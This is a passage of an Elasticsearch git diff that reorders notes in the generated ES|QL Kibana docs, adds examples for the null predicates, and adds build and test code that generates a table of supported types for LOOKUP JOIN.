-Note: Like [`PERCENTILE`](https://www.elastic.co/docs/reference/query-languages/esql/functions-operators/aggregation-functions#esql-percentile), `MEDIAN_ABSOLUTE_DEVIATION` is [usually approximate](https://www.elastic.co/docs/reference/query-languages/esql/functions-operators/aggregation-functions#esql-percentile-approximate).
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/mv_dedupe.md b/docs/reference/query-languages/esql/kibana/docs/functions/mv_dedupe.md
index 8c37f24139174..7c330e2c8dd63 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/mv_dedupe.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/mv_dedupe.md
@@ -3,8 +3,9 @@
 ### MV DEDUPE
 Remove duplicate values from a multivalued field.
 
+Note: `MV_DEDUPE` may, but won’t always, sort the values in the column.
+
 ```esql
 ROW a=["foo", "foo", "bar", "foo"]
 | EVAL dedupe_a = MV_DEDUPE(a)
 ```
-Note: `MV_DEDUPE` may, but won’t always, sort the values in the column.
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/mv_median_absolute_deviation.md b/docs/reference/query-languages/esql/kibana/docs/functions/mv_median_absolute_deviation.md
index 94ed0def6195f..0d4863948c9bf 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/mv_median_absolute_deviation.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/mv_median_absolute_deviation.md
@@ -5,8 +5,9 @@ Converts a multivalued field into a single valued field containing the median ab
 
 It is calculated as the median of each data point’s deviation from the median of the entire sample. That is, for a random variable `X`, the median absolute deviation is `median(|median(X) - X|)`.
 
+Note: If the field has an even number of values, the medians will be calculated as the average of the middle two values. If the value is not a floating point number, the averages are rounded towards 0.
+
 ```esql
 ROW values = [0, 2, 5, 6]
 | EVAL median_absolute_deviation = MV_MEDIAN_ABSOLUTE_DEVIATION(values), median = MV_MEDIAN(values)
 ```
-Note: If the field has an even number of values, the medians will be calculated as the average of the middle two values. If the value is not a floating point number, the averages are rounded towards 0.
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/pow.md b/docs/reference/query-languages/esql/kibana/docs/functions/pow.md
index 8c27e49d397f1..da08d767d7e9b 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/pow.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/pow.md
@@ -3,8 +3,9 @@
 ### POW
 Returns the value of `base` raised to the power of `exponent`.
 
+Note: It is still possible to overflow a double result here; in that case, null will be returned.
+
 ```esql
 ROW base = 2.0, exponent = 2
 | EVAL result = POW(base, exponent)
 ```
-Note: It is still possible to overflow a double result here; in that case, null will be returned.
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/to_date_nanos.md b/docs/reference/query-languages/esql/kibana/docs/functions/to_date_nanos.md
index 6d2b18db20680..223ae10b45a4e 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/to_date_nanos.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/to_date_nanos.md
@@ -3,10 +3,11 @@
 ### TO DATE NANOS
 Converts an input to a nanosecond-resolution date value (aka date_nanos).
 
+Note: The range for date nanos is 1970-01-01T00:00:00.000000000Z to 2262-04-11T23:47:16.854775807Z, attempting to convert values outside of that range will result in null with a warning.  Additionally, integers cannot be converted into date nanos, as the range of integer nanoseconds only covers about 2 seconds after epoch.
+
 ```esql
 FROM date_nanos
 | WHERE MV_MIN(nanos) < TO_DATE_NANOS("2023-10-23T12:27:28.948Z")
     AND millis > "2000-01-01"
 | SORT nanos DESC
 ```
-Note: The range for date nanos is 1970-01-01T00:00:00.000000000Z to 2262-04-11T23:47:16.854775807Z, attempting to convert values outside of that range will result in null with a warning.  Additionally, integers cannot be converted into date nanos, as the range of integer nanoseconds only covers about 2 seconds after epoch.
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/to_datetime.md b/docs/reference/query-languages/esql/kibana/docs/functions/to_datetime.md
index b5361583ff465..de94e09965ce2 100644
--- a/docs/reference/query-languages/esql/kibana/docs/functions/to_datetime.md
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/to_datetime.md
@@ -5,8 +5,9 @@ Converts an input value to a date value.
 A string will only be successfully converted if it’s respecting the format `yyyy-MM-dd'T'HH:mm:ss.SSS'Z'`.
 To convert dates in other formats, use [`DATE_PARSE`](https://www.elastic.co/docs/reference/query-languages/esql/functions-operators/date-time-functions#esql-date_parse).
 
+Note: Note that when converting from nanosecond resolution to millisecond resolution with this function, the nanosecond date is truncated, not rounded.
+
 ```esql
 ROW string = ["1953-09-02T00:00:00.000Z", "1964-06-02T00:00:00.000Z", "1964-06-02 00:00:00"]
 | EVAL datetime = TO_DATETIME(string)
 ```
-Note: Note that when converting from nanosecond resolution to millisecond resolution with this function, the nanosecond date is truncated, not rounded.
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/add.md b/docs/reference/query-languages/esql/kibana/docs/operators/add.md
index b07deb2c38360..0d91dcd400252 100644
--- a/docs/reference/query-languages/esql/kibana/docs/operators/add.md
+++ b/docs/reference/query-languages/esql/kibana/docs/operators/add.md
@@ -2,4 +2,3 @@
 
 ### ADD `+`
 Add two numbers together. If either field is [multivalued](https://www.elastic.co/docs/reference/query-languages/esql/esql-multivalued-fields) then the result is `null`.
-
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/is_not_null.md b/docs/reference/query-languages/esql/kibana/docs/operators/is_not_null.md
index 25157e2bb7af2..d91564c45778d 100644
--- a/docs/reference/query-languages/esql/kibana/docs/operators/is_not_null.md
+++ b/docs/reference/query-languages/esql/kibana/docs/operators/is_not_null.md
@@ -4,3 +4,9 @@
 Returns `false` if the value is `NULL`, `true` otherwise.
 
 Note: If a field is only in some documents it will be `NULL` in the documents that did not contain it.
+
+```esql
+FROM employees
+| WHERE is_rehired IS NOT NULL
+| STATS COUNT(emp_no)
+```
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/is_null.md b/docs/reference/query-languages/esql/kibana/docs/operators/is_null.md
index 625b819935332..3d9d05d037516 100644
--- a/docs/reference/query-languages/esql/kibana/docs/operators/is_null.md
+++ b/docs/reference/query-languages/esql/kibana/docs/operators/is_null.md
@@ -4,3 +4,8 @@
 Returns `true` if the value is `NULL`, `false` otherwise.
 
 Note: If a field is only in some documents it will be `NULL` in the documents that did not contain it.
+
+```esql
+FROM employees
+| WHERE birth_date IS NULL
+```
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/mod.md b/docs/reference/query-languages/esql/kibana/docs/operators/mod.md
index 71cad28b1dc23..9a61ddf4b745d 100644
--- a/docs/reference/query-languages/esql/kibana/docs/operators/mod.md
+++ b/docs/reference/query-languages/esql/kibana/docs/operators/mod.md
@@ -2,4 +2,3 @@
 
 ### MODULO `%`
 Divide one number by another and return the remainder. If either field is [multivalued](https://www.elastic.co/docs/reference/query-languages/esql/esql-multivalued-fields) then the result is `null`.
-
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/mul.md b/docs/reference/query-languages/esql/kibana/docs/operators/mul.md
index eaa4cba9d7e7d..97921119d449d 100644
--- a/docs/reference/query-languages/esql/kibana/docs/operators/mul.md
+++ b/docs/reference/query-languages/esql/kibana/docs/operators/mul.md
@@ -2,4 +2,3 @@
 
 ### MULTIPLY `*`
 Multiply two numbers together. If either field is [multivalued](https://www.elastic.co/docs/reference/query-languages/esql/esql-multivalued-fields) then the result is `null`.
-
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/neg.md b/docs/reference/query-languages/esql/kibana/docs/operators/neg.md
index 036c545d247f4..e25b1ede4c47a 100644
--- a/docs/reference/query-languages/esql/kibana/docs/operators/neg.md
+++ b/docs/reference/query-languages/esql/kibana/docs/operators/neg.md
@@ -2,4 +2,3 @@
 
 ### NEGATE `-`
 Returns the negation of the argument.
-
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/not in.md b/docs/reference/query-languages/esql/kibana/docs/operators/not in.md
index 810773cf977ff..d638a876148dd 100644
--- a/docs/reference/query-languages/esql/kibana/docs/operators/not in.md	
+++ b/docs/reference/query-languages/esql/kibana/docs/operators/not in.md	
@@ -2,4 +2,3 @@
 
 ### NOT IN
 The `NOT IN` operator allows testing whether a field or expression does *not* equal any element in a list of literals, fields or expressions.
-
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/not like.md b/docs/reference/query-languages/esql/kibana/docs/operators/not like.md
index 6164a03110755..dde8a60257346 100644
--- a/docs/reference/query-languages/esql/kibana/docs/operators/not like.md	
+++ b/docs/reference/query-languages/esql/kibana/docs/operators/not like.md	
@@ -10,4 +10,3 @@ The following wildcard characters are supported:
 
 * `*` matches zero or more characters.
 * `?` matches one character.
-
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/not rlike.md b/docs/reference/query-languages/esql/kibana/docs/operators/not rlike.md
index c2b04b4a9de7a..c1b2973f6ffa0 100644
--- a/docs/reference/query-languages/esql/kibana/docs/operators/not rlike.md	
+++ b/docs/reference/query-languages/esql/kibana/docs/operators/not rlike.md	
@@ -5,4 +5,3 @@ Use `RLIKE` to filter data based on string patterns using using
 [regular expressions](https://www.elastic.co/docs/reference/query-languages/query-dsl/regexp-syntax). `RLIKE` usually acts on a field placed on
 the left-hand side of the operator, but it can also act on a constant (literal)
 expression. The right-hand side of the operator represents the pattern.
-
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/predicates.md b/docs/reference/query-languages/esql/kibana/docs/operators/predicates.md
deleted file mode 100644
index f40f821193fe5..0000000000000
--- a/docs/reference/query-languages/esql/kibana/docs/operators/predicates.md
+++ /dev/null
@@ -1,9 +0,0 @@
-% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
-
-### PREDICATES
-For NULL comparison use the `IS NULL` and `IS NOT NULL` predicates.
-
-```esql
-FROM employees
-| WHERE birth_date IS NULL
-```
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/sub.md b/docs/reference/query-languages/esql/kibana/docs/operators/sub.md
index 516cd3841a6a1..1fea90a58ec53 100644
--- a/docs/reference/query-languages/esql/kibana/docs/operators/sub.md
+++ b/docs/reference/query-languages/esql/kibana/docs/operators/sub.md
@@ -2,4 +2,3 @@
 
 ### SUBTRACT `-`
 Subtract one number from another. If either field is [multivalued](https://www.elastic.co/docs/reference/query-languages/esql/esql-multivalued-fields) then the result is `null`.
-
diff --git a/x-pack/plugin/esql/build.gradle b/x-pack/plugin/esql/build.gradle
index 0db0e558cd147..447ceb53489f2 100644
--- a/x-pack/plugin/esql/build.gradle
+++ b/x-pack/plugin/esql/build.gradle
@@ -226,6 +226,47 @@ tasks.named("test").configure {
   }
 }
 
+// This is similar to the test task above, but needed for the LookupJoinTypesIT which runs in the internalClusterTest task
+// and generates a types table for the LOOKUP JOIN command. It is possible in future we might have move tests that do this.
+tasks.named("internalClusterTest").configure {
+  if (buildParams.ci == false) {
+    systemProperty 'generateDocs', true
+    def injected = project.objects.newInstance(Injected)
+    // Define the folder to delete and recreate
+    def tempDir = file("build/testrun/internalClusterTest/temp/esql")
+    doFirst {
+      injected.fs.delete {
+        it.delete(tempDir)
+      }
+      // Re-create this folder so we can save a table of generated examples to extract from csv-spec tests
+      tempDir.mkdirs() // Recreate the folder
+    }
+    File snippetsFolder = file("build/testrun/internalClusterTest/temp/esql/_snippets")
+    def snippetsDocFolder = file("${rootDir}/docs/reference/query-languages/esql/_snippets")
+    def snippetsTree = fileTree(snippetsFolder).matching {
+      include "**/types/*.md"  // Recursively include all types/*.md files (effectively counting functions and operators)
+    }
+
+    doLast {
+      def snippets = snippetsTree.files.collect { it.name }
+      int countSnippets = snippets.size()
+      if (countSnippets == 0) {
+        logger.quiet("ESQL Docs: No function/operator snippets created. Skipping sync.")
+      } else {
+        logger.quiet("ESQL Docs: Found $countSnippets generated function/operator snippets to patch into docs")
+        injected.fs.sync {
+          from snippetsFolder
+          into snippetsDocFolder
+          include '**/*.md'
+          preserve {
+            include '**/*.md'
+          }
+        }
+      }
+    }
+  }
+}
+
 /****************************************************************
  *  Enable QA/rest integration tests for snapshot builds only   *
  *  TODO: Enable for all builds upon this feature release       *
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/LookupJoinTypesIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/LookupJoinTypesIT.java
index df021f27a31fe..731b2976f88d8 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/LookupJoinTypesIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/LookupJoinTypesIT.java
@@ -19,6 +19,8 @@
 import org.elasticsearch.xpack.core.esql.action.ColumnInfo;
 import org.elasticsearch.xpack.esql.VerificationException;
 import org.elasticsearch.xpack.esql.core.type.DataType;
+import org.elasticsearch.xpack.esql.expression.function.DocsV3Support;
+import org.elasticsearch.xpack.esql.expression.function.EsqlFunctionRegistry;
 import org.elasticsearch.xpack.esql.plan.logical.join.Join;
 import org.elasticsearch.xpack.esql.plugin.EsqlPlugin;
 import org.elasticsearch.xpack.spatial.SpatialPlugin;
@@ -36,6 +38,7 @@
 import java.util.Map;
 import java.util.Set;
 import java.util.function.Consumer;
+import java.util.function.Supplier;
 import java.util.stream.Collectors;
 
 import static org.elasticsearch.test.ESIntegTestCase.Scope.SUITE;
@@ -265,6 +268,22 @@ private static boolean existingIndex(Collection<TestConfigs> existing, DataType
         return existing.stream().anyMatch(c -> c.exists(indexName));
     }
 
+    /** This test generates documentation for the supported output types of the lookup join. */
+    public void testOutputSupportedTypes() throws Exception {
+        Map<List<DataType>, DataType> signatures = new LinkedHashMap<>();
+        for (TestConfigs configs : testConfigurations.values()) {
+            if (configs.group.equals("unsupported") || configs.group.equals("union-types")) {
+                continue;
+            }
+            for (TestConfig config : configs.configs.values()) {
+                if (config instanceof TestConfigPasses) {
+                    signatures.put(List.of(config.mainType(), config.lookupType()), null);
+                }
+            }
+        }
+        saveJoinTypes(() -> signatures);
+    }
+
     public void testLookupJoinStrings() {
         testLookupJoinTypes("strings");
     }
@@ -747,4 +766,18 @@ public void doTest() {
     private boolean isValidDataType(DataType dataType) {
         return UNDER_CONSTRUCTION.get(dataType) == null || UNDER_CONSTRUCTION.get(dataType).isEnabled();
     }
+
+    private static void saveJoinTypes(Supplier<Map<List<DataType>, DataType>> signatures) throws Exception {
+        ArrayList<EsqlFunctionRegistry.ArgSignature> args = new ArrayList<>();
+        args.add(new EsqlFunctionRegistry.ArgSignature("field from the left index", null, null, false, false));
+        args.add(new EsqlFunctionRegistry.ArgSignature("field from the lookup index", null, null, false, false));
+        DocsV3Support.CommandsDocsSupport docs = new DocsV3Support.CommandsDocsSupport(
+            "lookup-join",
+            LookupJoinTypesIT.class,
+            null,
+            args,
+            signatures
+        );
+        docs.renderDocs();
+    }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/predicate/nulls/IsNotNull.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/predicate/nulls/IsNotNull.java
index 82818c5a329c0..36486199609a0 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/predicate/nulls/IsNotNull.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/predicate/nulls/IsNotNull.java
@@ -25,6 +25,7 @@
 import org.elasticsearch.xpack.esql.core.tree.Source;
 import org.elasticsearch.xpack.esql.core.type.DataType;
 import org.elasticsearch.xpack.esql.evaluator.mapper.EvaluatorMapper;
+import org.elasticsearch.xpack.esql.expression.function.Example;
 import org.elasticsearch.xpack.esql.expression.function.FunctionInfo;
 import org.elasticsearch.xpack.esql.expression.function.Param;
 import org.elasticsearch.xpack.esql.optimizer.rules.physical.local.LucenePushdownPredicates;
@@ -54,7 +55,8 @@ public class IsNotNull extends UnaryScalarFunction implements EvaluatorMapper, N
             "unsigned_long",
             "counter_long",
             "counter_integer",
-            "counter_double" }
+            "counter_double" },
+        examples = { @Example(file = "null", tag = "is-not-null") }
     )
     public IsNotNull(
         Source source,
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/predicate/nulls/IsNull.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/predicate/nulls/IsNull.java
index e93124af54186..7106fe2f33272 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/predicate/nulls/IsNull.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/predicate/nulls/IsNull.java
@@ -26,6 +26,7 @@
 import org.elasticsearch.xpack.esql.core.tree.Source;
 import org.elasticsearch.xpack.esql.core.type.DataType;
 import org.elasticsearch.xpack.esql.evaluator.mapper.EvaluatorMapper;
+import org.elasticsearch.xpack.esql.expression.function.Example;
 import org.elasticsearch.xpack.esql.expression.function.FunctionInfo;
 import org.elasticsearch.xpack.esql.expression.function.Param;
 import org.elasticsearch.xpack.esql.optimizer.rules.physical.local.LucenePushdownPredicates;
@@ -51,7 +52,8 @@ public class IsNull extends UnaryScalarFunction implements EvaluatorMapper, Nega
             "unsigned_long",
             "counter_long",
             "counter_integer",
-            "counter_double" }
+            "counter_double" },
+        examples = { @Example(file = "null", tag = "is-null") }
     )
     public IsNull(
         Source source,
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/DocsV3Support.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/DocsV3Support.java
index 7bcb194c62a75..e60eeb63785d5 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/DocsV3Support.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/DocsV3Support.java
@@ -60,7 +60,9 @@
 import java.util.List;
 import java.util.Locale;
 import java.util.Map;
+import java.util.Objects;
 import java.util.Optional;
+import java.util.TreeMap;
 import java.util.function.Function;
 import java.util.function.Supplier;
 import java.util.regex.Matcher;
@@ -308,7 +310,7 @@ public License.OperationMode invoke(List<DataType> fieldTypes) throws Exception
     protected final String name;
     protected final FunctionDefinition definition;
     protected final Logger logger;
-    private final Supplier<Map<List<DataType>, DataType>> signatures;
+    protected final Supplier<Map<List<DataType>, DataType>> signatures;
     private TempFileWriter tempFileWriter;
     private final LicenseRequirementChecker licenseChecker;
 
@@ -836,14 +838,30 @@ void renderDetailedDescription(String detailedDescription, String note) throws I
     /** Command specific docs generating, currently very empty since we only render kibana definition files */
     public static class CommandsDocsSupport extends DocsV3Support {
         private final LogicalPlan command;
+        private List<EsqlFunctionRegistry.ArgSignature> args;
         private final XPackLicenseState licenseState;
 
+        /** Used in CommandLicenseTests to generate Kibana docs with licensing information for commands */
         public CommandsDocsSupport(String name, Class<?> testClass, LogicalPlan command, XPackLicenseState licenseState) {
             super("commands", name, testClass, Map::of);
             this.command = command;
             this.licenseState = licenseState;
         }
 
+        /** Used in LookupJoinTypesIT to generate table of supported types for join field */
+        public CommandsDocsSupport(
+            String name,
+            Class<?> testClass,
+            LogicalPlan command,
+            List<EsqlFunctionRegistry.ArgSignature> args,
+            Supplier<Map<List<DataType>, DataType>> signatures
+        ) {
+            super("commands", name, testClass, signatures);
+            this.command = command;
+            this.args = args;
+            this.licenseState = null;
+        }
+
         @Override
         public void renderSignature() throws IOException {
             // Unimplemented until we make command docs dynamically generated
@@ -851,8 +869,14 @@ public void renderSignature() throws IOException {
 
         @Override
         public void renderDocs() throws Exception {
-            // Currently we only render kibana definition files, but we could expand to rendering much more if we decide to
-            renderKibanaCommandDefinition();
+            // Currently we only render either signatures or kibana definition files,
+            // but we could expand to rendering much more if we decide to
+            if (args != null) {
+                renderTypes(name, args);
+            }
+            if (licenseState != null) {
+                renderKibanaCommandDefinition();
+            }
         }
 
         void renderKibanaCommandDefinition() throws Exception {
@@ -872,6 +896,47 @@ void renderKibanaCommandDefinition() throws Exception {
                 writeToTempKibanaDir("definition", "json", rendered);
             }
         }
+
+        @Override
+        void renderTypes(String name, List<EsqlFunctionRegistry.ArgSignature> args) throws IOException {
+            assert args.size() == 2;
+            StringBuilder header = new StringBuilder("| ");
+            StringBuilder separator = new StringBuilder("| ");
+            List<String> argNames = args.stream().map(EsqlFunctionRegistry.ArgSignature::name).toList();
+            for (String arg : argNames) {
+                header.append(arg).append(" | ");
+                separator.append("---").append(" | ");
+            }
+
+            Map<String, List<String>> compactedTable = new TreeMap<>();
+            for (Map.Entry<List<DataType>, DataType> sig : this.signatures.get().entrySet()) {
+                if (shouldHideSignature(sig.getKey(), sig.getValue())) {
+                    continue;
+                }
+                String mainType = sig.getKey().getFirst().esNameIfPossible();
+                String secondaryType = sig.getKey().get(1).esNameIfPossible();
+                List<String> secondaryTypes = compactedTable.computeIfAbsent(mainType, (k) -> new ArrayList<>());
+                secondaryTypes.add(secondaryType);
+            }
+
+            List<String> table = new ArrayList<>();
+            for (Map.Entry<String, List<String>> sig : compactedTable.entrySet()) {
+                String row = "| " + sig.getKey() + " | " + String.join(", ", sig.getValue()) + " |";
+                table.add(row);
+            }
+            Collections.sort(table);
+            if (table.isEmpty()) {
+                logger.info("Warning: No table of types generated for [{}]", name);
+                return;
+            }
+
+            String rendered = DOCS_WARNING + """
+                **Supported types**
+
+                """ + header + "\n" + separator + "\n" + String.join("\n", table) + "\n\n";
+            logger.info("Writing function types for [{}]:\n{}", name, rendered);
+            writeToTempSnippetsDir("types", rendered);
+        }
     }
 
     protected String buildFunctionSignatureSvg() throws IOException {
@@ -893,6 +958,7 @@ void renderParametersList(List<String> argNames, List<String> argDescriptions) t
     }
 
     void renderTypes(String name, List<EsqlFunctionRegistry.ArgSignature> args) throws IOException {
+        boolean showResultColumn = signatures.get().values().stream().anyMatch(Objects::nonNull);
         StringBuilder header = new StringBuilder("| ");
         StringBuilder separator = new StringBuilder("| ");
         List<String> argNames = args.stream().map(EsqlFunctionRegistry.ArgSignature::name).toList();
@@ -900,8 +966,10 @@ void renderTypes(String name, List<EsqlFunctionRegistry.ArgSignature> args) thro
             header.append(arg).append(" | ");
             separator.append("---").append(" | ");
         }
-        header.append("result |");
-        separator.append("--- |");
+        if (showResultColumn) {
+            header.append("result |");
+            separator.append("--- |");
+        }
 
         List<String> table = new ArrayList<>();
         for (Map.Entry<List<DataType>, DataType> sig : this.signatures.get().entrySet()) { // TODO flip to using sortedSignatures
@@ -911,7 +979,7 @@ void renderTypes(String name, List<EsqlFunctionRegistry.ArgSignature> args) thro
             if (sig.getKey().size() > argNames.size()) { // skip variadic [test] cases (but not those with optional parameters)
                 continue;
             }
-            table.add(getTypeRow(args, sig, argNames));
+            table.add(getTypeRow(args, sig, argNames, showResultColumn));
         }
         Collections.sort(table);
         if (table.isEmpty()) {
@@ -930,7 +998,8 @@ void renderTypes(String name, List<EsqlFunctionRegistry.ArgSignature> args) thro
     private static String getTypeRow(
         List<EsqlFunctionRegistry.ArgSignature> args,
         Map.Entry<List<DataType>, DataType> sig,
-        List<String> argNames
+        List<String> argNames,
+        boolean showResultColumn
     ) {
         StringBuilder b = new StringBuilder("| ");
         for (int i = 0; i < sig.getKey().size(); i++) {
@@ -944,8 +1013,10 @@ private static String getTypeRow(
             b.append(" | ");
         }
         b.append("| ".repeat(argNames.size() - sig.getKey().size()));
-        b.append(sig.getValue().esNameIfPossible());
-        b.append(" |");
+        if (showResultColumn) {
+            b.append(sig.getValue().esNameIfPossible());
+            b.append(" |");
+        }
         return b.toString();
     }
 
@@ -1021,19 +1092,21 @@ void renderKibanaInlineDocs(String name, String titleName, FunctionInfo info) th
         builder.append("### ").append(titleName.toUpperCase(Locale.ROOT)).append("\n");
         String cleanedDesc = replaceLinks(info.description());
         cleanedDesc = removeAppliesToBlocks(cleanedDesc);
-        builder.append(cleanedDesc).append("\n\n");
+        builder.append(cleanedDesc).append("\n");
+
+        if (Strings.isNullOrEmpty(info.note()) == false) {
+            String cleanedNote = replaceLinks(info.note());
+            cleanedNote = removeAppliesToBlocks(cleanedNote);
+            builder.append("\nNote: ").append(cleanedNote).append("\n");
+        }
 
         if (info.examples().length > 0) {
             Example example = info.examples()[0];
-            builder.append("```esql\n");
+            builder.append("\n```esql\n");
             builder.append(loadExample(example.file(), example.tag()));
             builder.append("\n```\n");
         }
-        if (Strings.isNullOrEmpty(info.note()) == false) {
-            String cleanedNote = replaceLinks(info.note());
-            cleanedNote = removeAppliesToBlocks(cleanedNote);
-            builder.append("Note: ").append(cleanedNote).append("\n");
-        }
+
         String rendered = builder.toString();
         logger.info("Writing kibana inline docs for [{}]:\n{}", name, rendered);
         writeToTempKibanaDir("docs", "md", rendered);
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/predicate/operator/NullPredicatesTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/predicate/operator/NullPredicatesTests.java
deleted file mode 100644
index 69bfcc99a21ea..0000000000000
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/predicate/operator/NullPredicatesTests.java
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the Elastic License
- * 2.0; you may not use this file except in compliance with the Elastic License
- * 2.0.
- */
-
-package org.elasticsearch.xpack.esql.expression.predicate.operator;
-
-import org.elasticsearch.test.ESTestCase;
-import org.elasticsearch.xpack.esql.core.expression.Expression;
-import org.elasticsearch.xpack.esql.core.type.DataType;
-import org.elasticsearch.xpack.esql.expression.function.AbstractFunctionTestCase;
-import org.elasticsearch.xpack.esql.expression.function.DocsV3Support;
-import org.elasticsearch.xpack.esql.expression.function.Example;
-import org.elasticsearch.xpack.esql.expression.function.FunctionInfo;
-import org.elasticsearch.xpack.esql.expression.function.Param;
-import org.elasticsearch.xpack.esql.expression.function.scalar.convert.ToStringTests;
-import org.junit.AfterClass;
-
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * In the documentation we document `IS NULL` and `IS NOT NULL` together.
- */
-public class NullPredicatesTests extends ESTestCase {
-    public void testDummy() {
-        assert true;
-    }
-
-    @AfterClass
-    public static void renderDocs() throws Exception {
-        if (System.getProperty("generateDocs") == null) {
-            return;
-        }
-        renderNullPredicate(
-            new DocsV3Support.OperatorConfig(
-                "predicates",
-                "IS NULL and IS NOT NULL",
-                TestNullPredicates.class,
-                DocsV3Support.OperatorCategory.UNARY
-            )
-        );
-        renderNullPredicate(
-            new DocsV3Support.OperatorConfig(
-                "is_null",
-                "IS NULL",
-                TestIsNullPredicate.class,
-                DocsV3Support.OperatorCategory.NULL_PREDICATES
-            )
-        );
-        renderNullPredicate(
-            new DocsV3Support.OperatorConfig(
-                "is_not_null",
-                "IS NOT NULL",
-                TestIsNotNullPredicate.class,
-                DocsV3Support.OperatorCategory.NULL_PREDICATES
-            )
-        );
-    }
-
-    private static void renderNullPredicate(DocsV3Support.OperatorConfig op) throws Exception {
-        var docs = new DocsV3Support.OperatorsDocsSupport(op.name(), NullPredicatesTests.class, op, NullPredicatesTests::signatures);
-        docs.renderSignature();
-        docs.renderDocs();
-    }
-
-    public static Map<List<DataType>, DataType> signatures() {
-        // TODO: Verify the correct datatypes for this
-        Map<List<DataType>, DataType> toString = AbstractFunctionTestCase.signatures(ToStringTests.class);
-        Map<List<DataType>, DataType> results = new LinkedHashMap<>();
-        for (var entry : toString.entrySet()) {
-            DataType dataType = entry.getKey().getFirst();
-            results.put(List.of(dataType), DataType.BOOLEAN);
-        }
-        return results;
-    }
-
-    /**
-     * This class only exists to provide FunctionInfo for the documentation
-     */
-    public class TestNullPredicates {
-        @FunctionInfo(
-            returnType = {},
-            description = "For NULL comparison use the `IS NULL` and `IS NOT NULL` predicates.",
-            examples = { @Example(file = "null", tag = "is-null"), @Example(file = "null", tag = "is-not-null") }
-        )
-        public TestNullPredicates(
-            @Param(
-                name = "field",
-                type = {
-                    "boolean",
-                    "cartesian_point",
-                    "cartesian_shape",
-                    "date",
-                    "date_nanos",
-                    "double",
-                    "geo_point",
-                    "geo_shape",
-                    "integer",
-                    "ip",
-                    "keyword",
-                    "long",
-                    "text",
-                    "unsigned_long",
-                    "version" },
-                description = "Input value. The input can be a single- or multi-valued column or an expression."
-            ) Expression v
-        ) {}
-    }
-
-    /**
-     * This class only exists to provide FunctionInfo for the documentation
-     */
-    public class TestIsNullPredicate {
-        @FunctionInfo(
-            operator = "IS NULL",
-            returnType = {},
-            description = "Use `IS NULL` to filter data based on whether the field exists or not.",
-            examples = { @Example(file = "null", tag = "is-null") }
-        )
-        public TestIsNullPredicate(
-            @Param(
-                name = "field",
-                type = {
-                    "boolean",
-                    "cartesian_point",
-                    "cartesian_shape",
-                    "date",
-                    "date_nanos",
-                    "double",
-                    "geo_point",
-                    "geo_shape",
-                    "integer",
-                    "ip",
-                    "keyword",
-                    "long",
-                    "text",
-                    "unsigned_long",
-                    "version" },
-                description = "Input value. The input can be a single- or multi-valued column or an expression."
-            ) Expression v
-        ) {}
-    }
-
-    /**
-     * This class only exists to provide FunctionInfo for the documentation
-     */
-    public class TestIsNotNullPredicate {
-        @FunctionInfo(
-            operator = "IS NOT NULL",
-            returnType = {},
-            description = "Use `IS NOT NULL` to filter data based on whether the field exists or not.",
-            examples = { @Example(file = "null", tag = "is-not-null") }
-        )
-        public TestIsNotNullPredicate(
-            @Param(
-                name = "field",
-                type = {
-                    "boolean",
-                    "cartesian_point",
-                    "cartesian_shape",
-                    "date",
-                    "date_nanos",
-                    "double",
-                    "geo_point",
-                    "geo_shape",
-                    "integer",
-                    "ip",
-                    "keyword",
-                    "long",
-                    "text",
